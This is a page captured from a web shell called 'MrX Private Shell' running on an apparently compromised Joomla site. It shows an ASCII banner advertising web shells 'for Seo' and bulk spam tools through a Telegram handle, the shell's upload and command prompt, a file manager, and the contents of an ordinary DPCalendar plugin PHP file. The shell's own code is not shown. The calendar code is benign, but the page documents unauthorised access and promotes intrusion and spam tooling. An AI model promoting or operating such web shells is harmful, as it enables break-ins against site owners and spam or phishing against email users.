__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
/**
 * @package   DPCalendar
 * @copyright Copyright (C) 2020 Digital Peak GmbH. <https://www.digital-peak.com>
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU/GPL
 */

namespace DigitalPeak\Plugin\Fields\DPCalendar\Field;

\defined('_JEXEC') or die();

use DigitalPeak\Component\DPCalendar\Administrator\Helper\DateHelper;
use DigitalPeak\Component\DPCalendar\Administrator\Helper\DPCalendarHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\Form\Field\ListField;
use Joomla\CMS\HTML\HTMLHelper;

class DpeventField extends ListField
{
	protected $type = 'Dpevent';

	protected function getOptions()
	{
		$model = Factory::getApplication()->bootComponent('dpcalendar')->getMVCFactory()->createModel('Calendar', 'Site');
		$model->getState();
		$model->setState('filter.parentIds', explode(',', $this->element->attributes()->calendar_ids ?: ''));

		$ids = [];
		foreach ($model->getItems() as $calendar) {
			$ids[] = $calendar->getId();
		}

		$dateHelper = new DateHelper();

		$startDate = trim($this->element->attributes()->start_date ?: '');
		if ($startDate === 'start of day') {
			$startDate = $dateHelper->getDate(null, true, 'UTC');
			$startDate->setTime(0, 0, 0);
		} else {
			$startDate = $dateHelper->getDate($startDate);
		}

		// Round to the last quarter
		$startDate->sub(new \DateInterval("PT" . $startDate->format("s") . "S"));
		$startDate->sub(new \DateInterval("PT" . ($startDate->format("i") % 15) . "M"));

		$endDate = trim($this->element->attributes()->end_date ?: '');
		if ($endDate === 'same day') {
			$endDate = clone $startDate;
			$endDate->setTime(23, 59, 59);
		} elseif ($endDate !== '' && $endDate !== '0') {
			$tmp = $dateHelper->getDate($endDate);
			$tmp->sub(new \DateInterval("PT" . $tmp->format("s") . "S"));
			$tmp->sub(new \DateInterval("PT" . ($tmp->format("i") % 15) . "M"));
			$endDate = $tmp;
		} else {
			$endDate = null;
		}

		$model = Factory::getApplication()->bootComponent('dpcalendar')->getMVCFactory()->createModel('Events', 'Administrator', ['ignore_request' => true]);
		$model->getState();
		$model->setState('list.limit', 100);
		$model->setState('category.id', $ids);
		$model->setState('category.recursive', true);
		$model->setState('filter.expand', (int)$this->element->attributes()->expand);
		$model->setState('filter.state', [1, 3]);
		$model->setState('filter.publish_date', true);
		$model->setState('list.start-date', $startDate);
		$model->setState('list.end-date', $endDate);

		$options = parent::getOptions();
		foreach ($model->getItems() as $event) {
			$options[] = HTMLHelper::_(
				'select.option',
				$event->id,
				$event->title . ' [' . strip_tags(DPCalendarHelper::getDateStringFromEvent($event)) . ']'
			);
		}

		return $options;
	}
}

Filemanager

Name Type Size Permission Actions
DpeventField.php File 2.68 KB 0664
Filemanager